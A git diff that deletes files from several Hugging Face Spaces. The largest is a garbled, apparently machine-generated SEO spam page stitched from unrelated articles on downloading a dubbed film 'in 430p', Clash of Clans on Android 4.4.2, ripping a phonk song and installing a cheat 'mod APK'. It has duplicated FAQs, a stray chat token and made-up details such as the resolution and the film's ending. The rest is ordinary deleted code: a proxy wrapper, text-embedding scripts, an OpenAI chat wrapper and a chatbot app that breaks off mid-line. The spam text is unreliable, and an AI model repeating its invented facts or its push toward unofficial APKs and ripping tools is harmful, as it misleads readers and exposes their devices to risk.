diff --git a/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Baixar Filme Uma Carta De Amor Dublado 430 Como Encontrar o Autor de uma Mensagem na Garrafa.md b/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Baixar Filme Uma Carta De Amor Dublado 430 Como Encontrar o Autor de uma Mensagem na Garrafa.md deleted file mode 100644 index 622be4e6cccfb0c949220784bcacbc3cac711793..0000000000000000000000000000000000000000 --- a/spaces/1acneusushi/gradio-2dmoleculeeditor/data/Baixar Filme Uma Carta De Amor Dublado 430 Como Encontrar o Autor de uma Mensagem na Garrafa.md +++ /dev/null @@ -1,97 +0,0 @@ - -

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Uma Carta De Amor (Message in a Bottle) é um filme de drama e romance lançado em 1999, baseado no livro homônimo de Nicholas Sparks. O filme conta a história de uma jornalista que encontra uma carta de amor dentro de uma garrafa na praia e decide procurar pelo seu autor. O filme é estrelado por Kevin Costner, Robin Wright e Paul Newman, e dirigido por Luis Mandoki.

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Neste artigo, você vai aprender como baixar o filme Uma Carta De Amor dublado em 430p, quais são os benefícios e os riscos de fazer isso, e o que esperar do filme. Vamos lá?

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Como baixar o filme

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Baixar filmes pela internet é uma prática muito comum, mas também pode trazer alguns problemas legais e éticos. Afinal, você está consumindo um produto sem pagar por ele, o que pode prejudicar os direitos autorais dos criadores e distribuidores do filme. Além disso, você pode se expor a vírus, malwares e outros tipos de ameaças digitais ao acessar sites não confiáveis.

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Por isso, é importante que você saiba como baixar o filme Uma Carta De Amor dublado em 430p de forma legal e segura. Existem algumas opções para isso, como:

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Cada uma dessas opções tem suas vantagens e desvantagens. Veja a seguir:

- | Opção | Vantagens | Desvantagens | | --- | --- | --- | | Streaming | Legal, seguro, rápido, fácil, variado | Pago, depende da internet, pode não ter o filme desejado | | Plataforma digital | Legal, seguro, rápido, fácil | Pago, depende da internet | | Torrent | Gratuito, anônimo | Ilegal, arriscado, lento, complexo |

O que esperar do filme

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Agora que você já sabe como baixar o filme Uma Carta De Amor dublado em 430p , vamos falar um pouco sobre o que você pode esperar do filme . O filme é um drama romântico que mistura emoção , aventura e mistério . O filme explora temas como amor , perda , destino e esperança .

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O filme tem algumas cenas memoráveis e emocionantes , como a descoberta da carta na garrafa pela jornalista Theresa (Robin Wright) , o primeiro encontro dela com o autor da carta , Garret (Kevin Costner) , a revelação do segredo por trás das cartas e o desfecho surpreendente do filme .

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O filme também tem algumas frases marcantes e inspiradoras , como :

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"O amor verdadeiro é raro e é a única coisa que dá sentido à vida ."
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"Você é meu verdadeiro norte ."
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"Não tenha medo de amar novamente ."
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O filme recebeu críticas mistas dos especialistas e do público . No site Rotten Tomatoes , o filme tem uma nota de 32% dos críticos e de 63% dos espectadores . No site IMDb , o filme tem uma nota de 6.2 de 10 . Algumas das críticas positivas elogiam a atuação dos protagonistas e a fotografia do filme . Algumas das críticas negativas apontam a falta de química entre os personagens e a previsibilidade da história .

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Conclusão

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Neste artigo , você aprendeu como baixar o filme Uma Carta De Amor dublado em 430p de forma legal e segura . Você também viu o que esperar do filme em termos de gênero , temas , estilo , cenas e frases .

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Na minha opinião pessoal , o filme é uma boa opção para quem gosta de romances dramáticos e emocionantes . O filme tem uma história envolvente e tocante que faz você refletir sobre o amor e a vida . Eu recomendo que você assista ao filme e tire suas próprias conclusões .

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Se você quiser saber mais sobre o filme Uma Carta De Amor dublado em 430p ou sobre outros filmes relacionados ao tema do amor na garrafa , confira os links abaixo :

- -

Perguntas frequentes

-
    -
  1. O que significa dublado 430?
    Dublado significa que o áudio do filme está em português brasileiro. 430 significa que a resolução da imagem do filme é de 430 pixels na vertical.
    2. -
  2. Quem escreveu as cartas de amor no filme?
    As cartas de amor foram escritas por Garret (Kevin Costner), um construtor de barcos viúvo que morava na Carolina do Norte. Ele escreveu as cartas para sua falecida esposa Catherine e as jogou no mar dentro de garrafas.
    3. -

    Perguntas frequentes

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    1. O que significa dublado 430?
      Dublado significa que o áudio do filme está em português brasileiro. 430 significa que a resolução da imagem do filme é de 430 pixels na vertical.
      2. -
    2. Quem escreveu as cartas de amor no filme?
      As cartas de amor foram escritas por Garret (Kevin Costner), um construtor de barcos viúvo que morava na Carolina do Norte. Ele escreveu as cartas para sua falecida esposa Catherine e as jogou no mar dentro de garrafas.
      3. -
    3. Qual é o final do filme?
      O final do filme é trágico e surpreendente. Depois de se apaixonarem e enfrentarem alguns conflitos familiares e profissionais , Theresa (Robin Wright) e Garret (Kevin Costner) decidem ficar juntos. No entanto , Garret morre afogado ao tentar resgatar um homem que estava em um barco à deriva durante uma tempestade . Theresa recebe uma última carta dele , que ele havia escrito antes de partir para o mar . A carta revela que Garret sempre soube que Theresa era a jornalista que havia encontrado sua primeira carta e que ele a amava profundamente .
      4. -
    4. O filme é baseado em um livro?
      Sim , o filme é baseado no livro Uma Carta De Amor , escrito por Nicholas Sparks e publicado em 1998 . O livro foi um best-seller e recebeu elogios da crítica e do público . O livro também inspirou outros filmes do mesmo autor , como Diário de Uma Paixão , Um Amor Para Recordar e Querido John .
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    5. O filme tem alguma continuação?
      Não , o filme não tem nenhuma continuação oficial . No entanto , alguns fãs criaram histórias alternativas e fanfics sobre o que poderia ter acontecido depois do final do filme . Você pode encontrar algumas dessas histórias na internet , mas lembre-se de que elas não são canônicas nem autorizadas pelos criadores do filme .
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      Clash of Clans for Android 4.4 2 Free Download: Everything You Need to Know

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      If you are looking for a fun, addictive, and challenging strategy game to play on your Android device, you might want to check out Clash of Clans. This is one of the most popular and successful games in the world, with millions of players worldwide. In this article, we will tell you everything you need to know about Clash of Clans for Android 4.4 2 free download, including what the game is about, how to download and install it, how to play and enjoy it, and how to troubleshoot and solve common issues with it. Let's get started!

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      What is Clash of Clans?

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      A brief introduction to the game and its features

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      Clash of Clans is a freemium mobile strategy game developed and published by Supercell, a Finnish game company. The game was released in 2012 for iOS devices and in 2013 for Android devices. The game is set in a fantasy world where you can build your own village, raise a clan, and compete in epic clan wars with other players. You can also explore new lands, discover new characters, and collect resources and loot from other players.

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      The game has many features that make it fun and engaging, such as:

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      • Joining a clan of fellow players or starting your own and inviting friends.
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      • Fighting in clan wars as a team against millions of active players across the globe.
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      • Testing your skills in the competitive clan war leagues and proving you're the best.
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      • Forging alliances, working together with your clan in clan games to earn valuable magic items.
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      • Planning your unique battle strategy with countless combinations of spells, troops, and heroes.
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      • Competing with the best players from around the world and rising to the top of the leaderboard in legend league.
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      • Collecting resources and stealing loot from other players to upgrade your own village and turn it into a stronghold.
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      • Defending against enemy attacks with a multitude of towers, cannons, bombs, traps, mortars, and walls.
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      • Unlocking epic heroes like the barbarian king, archer queen, grand warden, royal champion, and battle machine.
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      • Researching upgrades in your laboratory to make your troops, spells, and siege machines even more powerful.
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      • Creating your own custom PVP experiences through friendly challenges, friendly wars, and special live events.
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      • Watching clanmates attack and defend in real-time as a spectator or checking out the video replays.
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      • Fighting against the goblin king in a single player campaign mode through the realm.
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      • Learning new tactics and experimenting with your army and clan castle troops in practice mode.
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      • Journeying to the builder base and discovering new buildings and characters in a mysterious world.
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      • Turning your builder base into an unbeatable fortress and defeating rival players in versus battles.
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      • Collecting exclusive hero skins and sceneries to customize your village.
        • -
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      The benefits of playing Clash of Clans on Android 4.4 2

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      Playing Clash of Clans on Android 4.4 2 has many benefits, such as:

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      • Enjoying the game on a large and clear screen with high resolution and quality graphics.
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      • Having a smooth and fast gameplay experience with no lag or glitches.
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      • Being able to access the game anytime and anywhere with a stable internet connection.
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      • Getting regular updates and new features from the developers without any delay or compatibility issues.
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      • Having more storage space and battery life for your device than newer versions of Android.
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      • Being able to use various apps and tools to enhance your game performance, such as screen recorders, game boosters, and cheat engines.
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      • Being part of a huge and active community of players who share the same passion and love for the game.
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      How to download and install Clash of Clans for Android 4.4 2

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      The requirements and compatibility of the game

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      Before you download and install Clash of Clans for Android 4.4 2, you need to make sure that your device meets the minimum requirements and is compatible with the game. Here are the specifications that you need to check:

      - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [assistant](#message) If your device meets these requirements, you can proceed to download and install the game. If not, you might need to upgrade your device or look for other alternatives.

      The steps to download and install the game from Google Play Store

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      The easiest and safest way to download and install Clash of Clans for Android 4.4 2 is from the official Google Play Store. Here are the steps that you need to follow:

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      1. Open the Google Play Store app on your device or go to https://play.google.com/store on your browser.
        2. -
      2. Search for "Clash of Clans" in the search bar or tap on the magnifying glass icon.
        3. -
      3. Select the game from the list of results and tap on the green "Install" button.
        4. -
      4. Wait for the game to download and install on your device. You might need to grant some permissions and accept some terms and conditions.
        5. -
      5. Once the game is installed, you can tap on the "Open" button to launch it or find it on your home screen or app drawer.
        6. -
      6. Enjoy playing Clash of Clans on your Android 4.4 2 device!
        7. -
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      The alternative ways to download and install the game from other sources

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      If you cannot access the Google Play Store or prefer to download and install the game from other sources, you can also try these alternative ways:

      -
        -
      • Download and install the game from the official website of Supercell. Go to https://supercell.com/en/games/clashofclans/ and tap on the "Download Now" button. You will be redirected to the Google Play Store or a third-party app store depending on your location and device. Follow the instructions on the screen to complete the installation.
        • -
      • Download and install the game from a trusted third-party app store. There are many app stores that offer Clash of Clans for Android 4.4 2, such as Aptoide, APKPure, Uptodown, and more. However, you need to be careful and make sure that the app store is reliable and secure. You also need to enable the "Unknown sources" option in your device settings to allow the installation of apps from outside the Google Play Store. To do this, go to Settings > Security > Unknown sources and toggle it on. Then, go to the app store of your choice and search for "Clash of Clans". Download and install the game as usual.
        • -
      • Download and install the game from an APK file. An APK file is a package file that contains all the files and data needed to run an app on an Android device. You can find many websites that offer Clash of Clans APK files for Android 4.4 2, such as APKMirror, APKMonk, APKFab, and more. However, you need to be careful and make sure that the website is trustworthy and safe. You also need to enable the "Unknown sources" option in your device settings as mentioned above. Then, go to the website of your choice and download the Clash of Clans APK file to your device. You can use a file manager app or a browser to locate the file and tap on it to install it.
        • -
      -

      Note: These alternative ways are not recommended by Supercell or Google and may pose some risks to your device and data security. You should always download and install apps from official sources whenever possible.

      -

      How to play and enjoy Clash of Clans on Android 4.4 2

      -

      The basic gameplay and objectives of the game

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      Clash of Clans is a game that requires strategy, skill, and creativity. The basic gameplay and objectives of the game are as follows:

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      • You start the game with a small village that you can customize and expand with various buildings, such as town hall, barracks, army camp, gold mine, elixir collector, and more.
        • -
      • You can train different types of troops, such as barbarians, archers, giants, wizards, dragons, and more. You can also unlock and upgrade powerful heroes, such as the barbarian king, archer queen, grand warden, royal champion, and battle machine.
        • -
      • You can use your troops and heroes to attack other players' villages and loot their resources, such as gold, elixir, and dark elixir. You can also use spells and siege machines to support your attacks.
        • -
      • You can use your resources to upgrade your buildings, troops, heroes, spells, and siege machines. You can also research new technologies in your laboratory to make them stronger.
        • -
      • You can join or create a clan of up to 50 players who can chat, donate troops, and participate in clan wars and clan games. You can also compete in clan war leagues and legend league to earn rewards and glory.
        • -
      • You can defend your village from enemy attacks with various defenses, such as cannons, archer towers, mortars, air defenses, inferno towers, eagle artillery, and more. You can also set up traps and walls to slow down or damage the invaders.
        • -
      • You can explore new lands and discover new characters in the builder base. You can build a second village with different buildings, troops, heroes, and defenses. You can also fight against other players in versus battles to earn trophies and resources.
        • -
      -

      The tips and tricks to improve your skills and strategies

      -

      Clash of Clans is a game that requires a lot of planning and thinking. Here are some tips and tricks that can help you improve your skills and strategies:

      -
        -
      • Always keep your builders busy. Builders are essential for upgrading your buildings and making your village stronger. You should always have a builder available for the next upgrade or save some gems to buy more builders.
        • -
      • Balance your offense and defense. You should not neglect either your offense or defense when upgrading your village. You need a strong offense to attack other players and earn resources. You also need a strong defense to protect your village and resources from enemy attacks.
        • -
      • Choose your targets wisely. You should not attack any player you see on the map. You should scout their village first and see if they have enough resources to loot or if they have weak defenses that you can exploit. You should also check their clan castle and see if they have any troops inside that can counter your attack.
        • -
      • Use the right troops for the right situation. You should not use the same troops for every attack. You should vary your army composition depending on the enemy's base layout, defenses, traps, clan castle troops, heroes, etc. You should also use spells and siege machines that complement your troops and help them break through the enemy's defenses.
        • -
      • Plan your attack before you launch it. You should not rush into an attack without a clear strategy. You should study the enemy's base carefully and identify the best entry point, the best target for your heroes or siege machines, the best placement for your spells, etc. You should also consider the time limit and the percentage of destruction that you need to achieve.
        • -
      • Join a active and friendly clan. A clan is not only a social group but also a source of support and learning. You should join a clan that matches your level of activity, skill, interest, and goals. You should also contribute to your clan by donating troops, participating in clan wars and clan games, and learning from your clanmates. You should also respect your clan rules and communicate with your clan leaders and members.
        • -
      • Have fun and enjoy the game. Clash of Clans is a game that can be very rewarding and satisfying, but also very frustrating and stressful. You should not take the game too seriously or let it affect your mood or health. You should play the game for fun and entertainment, and not for competition or addiction. You should also take breaks from the game and do other things that you enjoy.
        • -
      -

      The best clans and players to join and follow

      -

      If you want to improve your game and learn from the best, you might want to join and follow some of the best clans and players in Clash of Clans. Here are some of the most famous and successful ones that you can check out:

      -
        -
      • Team Queso: This is a professional esports team that competes in various games, including Clash of Clans. They are the current world champions of the Clash of Clans World Championship 2021, where they defeated ATN.aTTaX in the grand final. They have some of the best players in the world, such as iAmJP, zzzzz, Yoyo23, Marinel, and more.
        • -
      • Tribe Gaming: This is another professional esports team that competes in various games, including Clash of Clans. They are the runners-up of the Clash of Clans World Championship 2020, where they lost to Nova Esports in the grand final. They have some of the best players in the world, such as Eve Check, Eve Maxi, Lexnos, Itsu, and more.
        • -
      • Clash with Eric - OneHive: This is a YouTube channel and a clan run by Eric, a popular content creator and a skilled player. He uploads videos of his attacks, strategies, tips, guides, and more. He also streams live on Twitch and participates in various tournaments and events. He is the leader of OneHive, a competitive clan that has been around since 2014.
        • -
      • Judo Sloth Gaming: This is another YouTube channel and a clan run by Judo Sloth, a popular content creator and a skilled player. He uploads videos of his attacks, strategies, tips, guides, and more. He also streams live on Twitch and participates in various tournaments and events. He is the leader of Judo Sloth Gaming, a competitive clan that has been around since 2016.
        • -
      • Clash Bashing!!: This is another YouTube channel and a clan run by Bash, a popular content creator and a skilled player. He uploads videos of his attacks, strategies, tips, guides, and more. He also streams live on Twitch and participates in various tournaments and events. He is the leader of Clash Bashing!!, a competitive clan that has been around since 2017.
        • -
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      How to troubleshoot and solve common issues with Clash of Clans on Android 4.4 2

      -

      The possible causes and solutions for crashes, freezes, and errors

      -

      Sometimes, you might encounter some issues with Clash of Clans on Android 4.4 2 that can affect your game performance or experience. Some of the common issues are crashes, freezes, errors, loading problems, connection problems, etc. Here are some of the possible causes and solutions for these issues:

      -
        -
      • Your device does not meet the minimum requirements or is incompatible with the game. You should check your device specifications and compare them with the game requirements as mentioned above. You should also update your device software if possible or look for other alternatives.
        • -
      • Your device has low storage space or memory. You should clear some space on your device by deleting unwanted files or apps or moving them to an external storage device such as an SD card. You should also close other apps or processes that are running in the background or restart your device to free up some memory.
        • -
      • Your device has low battery life or is overheating. You should charge your device or plug it into a power source if it has low battery life or turn it off for a while if it is overheating. You should also avoid playing the game for long periods of time or in high temperatures.
        • -
      • Your internet connection is slow or unstable. You should check your internet connection speed and stability by using a speed test app or website or contacting your service provider. You should also switch to a different network if possible or move closer to your router or modem if you are using Wi-Fi.
        • -
      • Your game app is outdated or corrupted. You should update your game app to the latest version by going to the Google Play Store or other sources as mentioned above. You should also clear your game cache or data by going to Settings > Apps > Clash of Clans > Storage > Clear cache or Clear data. You should also uninstall and reinstall your game app if it is corrupted or damaged.
        • -
      • Your Google Play services are outdated or disabled. You should update your Google Play services to the latest version by going to the Google Play Store or other sources as mentioned above. You should also enable your Google Play services by going to Settings > Apps > Google Play services > Enable or Activate.
        • -
      • Your device or game settings are incorrect or incompatible. You should check your device settings and make sure that they are compatible with the game, such as the date and time, the language, the region, etc. You should also check your game settings and make sure that they are optimal for your device, such as the graphics, the sound, the notifications, etc.
        • -
      -

      The ways to contact the support team and get help

      -

      If none of the above solutions work for you or if you have any other questions or issues with the game, you can contact the support team and get help. Here are some of the ways that you can do that:

      -
        -
      • Use the in-game support feature. You can access this feature by tapping on the settings icon in the game and then tapping on the help and support button. You can then browse through the FAQs and topics or tap on the contact us button to send a message to the support team.
        • -
      • Use the official website of Supercell. You can go to https://supercell.com/en/support/ and select Clash of Clans from the list of games. You can then browse through the FAQs and topics or tap on the contact us button to send a message to the support team.
        • -
      • Use the official forums of Supercell. You can go to https://forum.supercell.com/forumdisplay.php/4-Clash-of-Clans and join the community of players and moderators. You can then post your questions or issues in the relevant sections or threads or send a private message to a moderator.
        • -
      • Use the official social media accounts of Supercell. You can follow Supercell on Facebook, Twitter, Instagram, YouTube, Reddit, Discord, and more. You can then send a direct message or comment on their posts with your questions or issues.
        • -
      -

      The FAQs and resources to learn more about the game

      -

      If you want to learn more about Clash of Clans and its features, updates, events, tips, guides, etc., you can check out these FAQs and resources:

      -
        -
      • What are gems and how can I get them? Gems are the premium currency of Clash of Clans that can be used to speed up upgrades, buy resources, boost production, train troops, etc. You can get gems by completing achievements, removing obstacles, opening gem boxes, winning clan games, participating in events, etc. You can also buy gems with real money through in-app purchases.
        • -
      • What are clans and how can I join one? Clans are groups of up to 50 players who can chat, donate troops, and participate in clan wars and clan games. You can join a clan by searching for one in the game or by accepting an invitation from another player. You can also create your own clan by spending 40,000 gold and inviting other players.
        • -
      • What are clan wars and how can I participate in them? Clan wars are competitive events where two clans face each other in a series of attacks and defenses. Each clan member can attack twice during a war and earn stars based on the percentage of destruction they cause. The clan with more stars at the end of the war wins and gets a war loot bonus. You can participate in clan wars by being a member of a clan that is eligible for war and by having your war preference set to on.
        • -
      • What are clan war leagues and how can I participate in them? Clan war leagues are competitive events where eight clans compete in a round-robin format over seven days. Each clan member can attack once per day and earn stars based on the percentage of destruction they cause. The clans are ranked based on their total stars at the end of each day and receive league medals based on their final rank at the end of the event. You can participate in clan war leagues by being a member of a clan that is eligible for war and by having your war preference set to on.
        • -
      • What are clan games and how can I participate in them? Clan games are cooperative events where clan members complete various challenges and earn points for their clan. The more points the clan earns, the higher the reward tier they unlock. The rewards include magic items, resources, gems, etc. You can participate in clan games by being a member of a clan that is eligible for games and by completing at least one challenge.
        • -
      • What are magic items and how can I use them? Magic items are special items that can provide various benefits and advantages in the game, such as speeding up upgrades, boosting production, increasing resources, etc. You can get magic items by winning clan games, participating in events, reaching certain league levels, etc. You can use magic items by tapping on the magic item icon in the game and selecting the item you want to use.
        • -
      -

      For more FAQs and resources, you can visit the following links:

      - -

      Conclusion

      -

      Clash of Clans is a game that can provide you with hours of fun and entertainment. It is a game that can challenge your mind and test your skills. It is a game that can connect you with millions of players around the world. It is a game that you can play on your Android 4.4 2 device for free. If you are interested in playing Clash of Clans on your Android 4.4 2 device, you can follow the steps and tips that we have provided in this article. We hope that you have found this article helpful and informative. Thank you for reading and happy clashing!

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      The reasons to choose Metamorphosis by InterworldThe reasons to choose Metamorphosis by Interworld

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      How to download Metamorphosis by Interworld?

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      Now that you know what Metamorphosis by Interworld is and why you should download it, you might be wondering how to do it. There are different platforms and methods that you can use to download this song, depending on your preferences and devices. Here are some of the most popular ones:

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      The steps to download Metamorphosis by Interworld from YouTube

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      YouTube is one of the most popular platforms to watch and listen to music videos online. However, YouTube does not allow you to download videos directly from its website or app. You will need to use a third-party tool or website that can convert YouTube videos into audio files. Here are the steps to do it:

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      SoundCloud is another popular platform to listen to music online. It is especially known for hosting independent and underground artists, such as Interworld. SoundCloud also does not allow you to download songs directly from its website or app, unless the artist has enabled the download option. You will need to use a third-party tool or website that can download SoundCloud songs. Here are the steps to do it:

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      Spotify is one of the most popular platforms to stream music online. It has a huge library of songs, albums, playlists, and podcasts, including Metamorphosis by Interworld. Spotify allows you to download songs for offline listening, but only if you have a premium subscription. If you have a free account, you will need to use a third-party tool or website that can download Spotify songs. Here are the steps to do it:

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      Conclusion

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      Metamorphosis by Interworld is a phonk song that you should definitely download and listen to. It is a catchy and aggressive song that explores the themes of power, wealth, and success in the rap industry. It is also a unique and original song that showcases the creativity and talent of Interworld, one of the rising stars of the phonk scene. You can download this song from different platforms, such as YouTube, SoundCloud, and Spotify, using third-party tools or websites. We hope that this guide has helped you to download Metamorphosis by Interworld and enjoy it offline.

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      Here are some frequently asked questions about Metamorphosis by Interworld and how to download it:

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      Q: Who is Interworld?

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      A: Interworld is a phonk artist from Russia. He started making music in 2019 and has released several albums and singles, such as Metamorphosis, Phonkadelic, and Interdimensional. He is known for his distinctive voice, his dark and gritty lyrics, and his high-quality production.

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      Q: What is phonk music?

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      A: Phonk music is a subgenre of rap music that combines elements of trap, Memphis rap, cloud rap, and vaporwave. Phonk music typically features distorted vocals, heavy bass, lo-fi samples, and dark themes. Phonk music originated in the 1990s in Memphis, Tennessee, and was influenced by artists such as Three 6 Mafia, Tommy Wright III, and DJ Screw. Phonk music has gained popularity in recent years thanks to online platforms such as YouTube and SoundCloud.

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      Q: How can I find more phonk songs?

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      A: If you like phonk music, you can find more phonk songs by following phonk artists, playlists, and channels on different platforms. Some of the most popular phonk artists are DJ Yung Vamp, Mythic, Baker Ya Maker, Soudiere, and Freddie Dredd. Some of the most popular phonk playlists are Phonk Nation on Spotify, Phonk City on YouTube, and Phonk Radio on SoundCloud. Some of the most popular phonk channels are Chill Nation, Coversart, and TrillPhonk on YouTube.

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      Q: Is downloading music from YouTube, SoundCloud, or Spotify legal?

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      A: Downloading music from YouTube, SoundCloud, or Spotify using third-party tools or websites may violate their terms of service or the copyright laws of your country. You should always respect the rights of the artists and the platforms and use legal ways to download music. You can buy music from online stores such as iTunes or Amazon, or use platforms that offer legal downloads such as Bandcamp or Audiomack.

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      Q: How can I support Interworld and other phonk artists?

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      A: If you like Interworld and other phonk artists, you can support them by buying their music or merch from their official websites or online stores. You can also stream their music on platforms that pay them royalties such as Spotify or Apple Music. You can also follow them on social media such as Instagram or Twitter and share their music with your friends and family.

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      Step 3: Install the APK file

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      After enabling unknown sources, you can now install the APK file of Play Together Mod APK. To do this, locate the downloaded file in your file manager and tap on it. You will see a pop-up window asking for your permission to install the app. Tap on Install and wait for the installation process to finish.

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      Step 4: Launch the game and enjoy

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      Play Together Mod APK is a fun and social online game that lets you interact with other players in real-time. You can create your own character, customize your appearance, explore different locations, play mini-games, chat with other players, and more. Play Together Mod APK is a modded version of the original game that gives you unlimited money and gems, unlocks all items and outfits, and gives you access to the VIP menu. With this mod, you can enjoy the game without any limitations or restrictions. However, you should also be aware of the pros and cons of using this mod and use it at your own risk. We hope this article has helped you learn more about Play Together Mod APK and how to download and install it on your device. If you have any questions or feedback, feel free to leave a comment below.

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        \ No newline at end of file diff --git a/spaces/2023Liu2023/bingo/src/lib/isomorphic/node.ts b/spaces/2023Liu2023/bingo/src/lib/isomorphic/node.ts deleted file mode 100644 index da213ad6a86181979f098309c374da02835db5a0..0000000000000000000000000000000000000000 --- a/spaces/2023Liu2023/bingo/src/lib/isomorphic/node.ts +++ /dev/null @@ -1,26 +0,0 @@ -import Debug from 'debug' - -const { fetch, setGlobalDispatcher, ProxyAgent } = require('undici') -const { HttpsProxyAgent } = require('https-proxy-agent') -const ws = require('ws') - -const debug = Debug('bingo') - -const httpProxy = process.env.http_proxy || process.env.HTTP_PROXY || process.env.https_proxy || process.env.HTTPS_PROXY; -let WebSocket = ws.WebSocket - -if (httpProxy) { - setGlobalDispatcher(new ProxyAgent(httpProxy)) - const agent = new HttpsProxyAgent(httpProxy) - // @ts-ignore - WebSocket = class extends ws.WebSocket { - constructor(address: string | URL, options: typeof ws.WebSocket) { - super(address, { - ...options, - agent, - }) - } - } -} - -export default { fetch, WebSocket, debug } diff --git a/spaces/AEUPH/CosmosTV/public/index.html b/spaces/AEUPH/CosmosTV/public/index.html deleted file mode 100644 index be80e1bd8fa39a7ab86063454524387327a7b335..0000000000000000000000000000000000000000 --- a/spaces/AEUPH/CosmosTV/public/index.html +++ /dev/null @@ -1,325 +0,0 @@ - - - AI Web TV 🤗 - - - - - -
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        - - - - - - - - \ No newline at end of file diff --git a/spaces/AIGC-Audio/AudioGPT/text_to_audio/Make_An_Audio/ldm/modules/encoders/open_clap/bert.py b/spaces/AIGC-Audio/AudioGPT/text_to_audio/Make_An_Audio/ldm/modules/encoders/open_clap/bert.py deleted file mode 100644 index 005e72dec67e4b1c05063dbd4d024166344fd2c4..0000000000000000000000000000000000000000 --- a/spaces/AIGC-Audio/AudioGPT/text_to_audio/Make_An_Audio/ldm/modules/encoders/open_clap/bert.py +++ /dev/null @@ -1,32 +0,0 @@ -from transformers import BertTokenizer, BertModel -tokenizer = BertTokenizer.from_pretrained('bert-base-uncased') -model = BertModel.from_pretrained("bert-base-uncased") -text = "Replace me by any text you'd like." - -def bert_embeddings(text): - # text = "Replace me by any text you'd like." - encoded_input = tokenizer(text, return_tensors='pt') - output = model(**encoded_input) - return output - -from transformers import RobertaTokenizer, RobertaModel - -tokenizer = RobertaTokenizer.from_pretrained('roberta-base') -model = RobertaModel.from_pretrained('roberta-base') -text = "Replace me by any text you'd like." -def Roberta_embeddings(text): - # text = "Replace me by any text you'd like." - encoded_input = tokenizer(text, return_tensors='pt') - output = model(**encoded_input) - return output - -from transformers import BartTokenizer, BartModel - -tokenizer = BartTokenizer.from_pretrained('facebook/bart-base') -model = BartModel.from_pretrained('facebook/bart-base') -text = "Replace me by any text you'd like." -def bart_embeddings(text): - # text = "Replace me by any text you'd like." - encoded_input = tokenizer(text, return_tensors='pt') - output = model(**encoded_input) - return output \ No newline at end of file diff --git a/spaces/AIWaves/Software_Company/src/agents/LLM/base_LLM.py b/spaces/AIWaves/Software_Company/src/agents/LLM/base_LLM.py deleted file mode 100644 index 6c94ef0d0f67cfa1b133312ca26e0955ab7f0128..0000000000000000000000000000000000000000 --- a/spaces/AIWaves/Software_Company/src/agents/LLM/base_LLM.py +++ /dev/null @@ -1,133 +0,0 @@ -from abc import abstractclassmethod -import openai -import os -import time -from Memory import Memory -from utils import save_logs - -class LLM: - def __init__(self) -> None: - pass - - @abstractclassmethod - def get_response(): - pass - - -class OpenAILLM(LLM): - def __init__(self,**kwargs) -> None: - super().__init__() - self.MAX_CHAT_HISTORY = eval( - os.environ["MAX_CHAT_HISTORY"]) if "MAX_CHAT_HISTORY" in os.environ else 10 - - self.model = kwargs["model"] if "model" in kwargs else "gpt-3.5-turbo-16k-0613" - self.temperature = kwargs["temperature"] if "temperature" in kwargs else 0.3 - self.log_path = kwargs["log_path"] if "log_path" in kwargs else "logs" - - - def get_stream(self,response, log_path, messages): - ans = "" - for res in response: - if res: - r = (res.choices[0]["delta"].get("content") - if res.choices[0]["delta"].get("content") else "") - ans += r - yield r - - save_logs(log_path, messages, ans) - - - - def get_response(self, - chat_history, - system_prompt, - last_prompt=None, - stream=False, - functions=None, - function_call="auto", - WAIT_TIME=20, - **kwargs): - """ - return LLM's response - """ - openai.api_key = os.environ["API_KEY"] - # if "PROXY" in os.environ: - # assert "http:" in os.environ["PROXY"] or "socks" in os.environ["PROXY"],"PROXY error,PROXY must be http or socks" - # openai.proxy = os.environ["PROXY"] - if "API_BASE" in os.environ: - openai.api_base = os.environ["API_BASE"] - active_mode = True if ("ACTIVE_MODE" in os.environ and os.environ["ACTIVE_MODE"] == "0") else False - model = self.model - temperature = self.temperature - - - if active_mode: - system_prompt = system_prompt + "Please keep your reply as concise as possible,Within three sentences, the total word count should not exceed 30" - - messages = [{ - "role": "system", - "content": system_prompt - }] if system_prompt else [] - - if chat_history: - if len(chat_history) > self.MAX_CHAT_HISTORY: - chat_history = chat_history[- self.MAX_CHAT_HISTORY:] - if isinstance(chat_history[0],dict): - messages += chat_history - elif isinstance(chat_history[0],Memory): - messages += [memory.get_gpt_message("user") for memory in chat_history] - - if last_prompt: - if active_mode: - last_prompt = last_prompt + "Please keep your reply as concise as possible,Within three sentences, the total word count should not exceed 30" - # messages += [{"role": "system", "content": f"{last_prompt}"}] - messages[-1]["content"] += last_prompt - - - while True: - try: - if functions: - response = openai.ChatCompletion.create( - model=model, - messages=messages, - functions=functions, - function_call=function_call, - temperature=temperature, - ) - else: - response = openai.ChatCompletion.create( - model=model, - messages=messages, - temperature=temperature, - stream=stream) - break - except Exception as e: - print(e) - if "maximum context length is" in str(e): - assert False, "exceed max length" - break - else: - print(f"Please wait {WAIT_TIME} seconds and resend later ...") - time.sleep(WAIT_TIME) - - if functions: - save_logs(self.log_path, messages, response) - return response.choices[0].message - elif stream: - return self.get_stream(response, self.log_path, messages) - else: - save_logs(self.log_path, messages, response) - return response.choices[0].message["content"] - - -def init_LLM(default_log_path,**kwargs): - LLM_type = kwargs["LLM_type"] if "LLM_type" in kwargs else "OpenAI" - log_path = kwargs["log_path"] if "log_path" in kwargs else default_log_path - if LLM_type == "OpenAI": - LLM = ( - OpenAILLM(**kwargs["LLM"]) - if "LLM" in kwargs - else OpenAILLM(model = "gpt-3.5-turbo-16k-0613",temperature=0.3,log_path=log_path) - ) - return LLM - \ No newline at end of file diff --git a/spaces/ANILYADAV/mygenaichatbot/app.py b/spaces/ANILYADAV/mygenaichatbot/app.py deleted file mode 100644 index 23d64c0cb65e06dd6a580deea6c4f668f73e2f5e..0000000000000000000000000000000000000000 --- a/spaces/ANILYADAV/mygenaichatbot/app.py +++ /dev/null @@ -1,34 +0,0 @@ -import os -import gradio as gr -from langchain.chat_models import ChatOpenAI -from langchain import LLMChain, PromptTemplate -from langchain.memory import ConversationBufferMemory - -OPENAI_API_KEY=os.getenv('OPENAI_API_KEY') - -template = """Meet Anil, your youthful and witty personal assistant! At 21 years old, he's full of energy and always eager to help. Anil's goal is to assist you with any questions or problems you might have. His enthusiasm shines through in every response, making interactions with his enjoyable and engaging -{chat_history} -User: {user_message} -Chatbot:""" - -prompt = PromptTemplate( - input_variables=["chat_history", "user_message"], template=template -) - -memory = ConversationBufferMemory(memory_key="chat_history") - -llm_chain = LLMChain( - llm=ChatOpenAI(temperature='0.5', 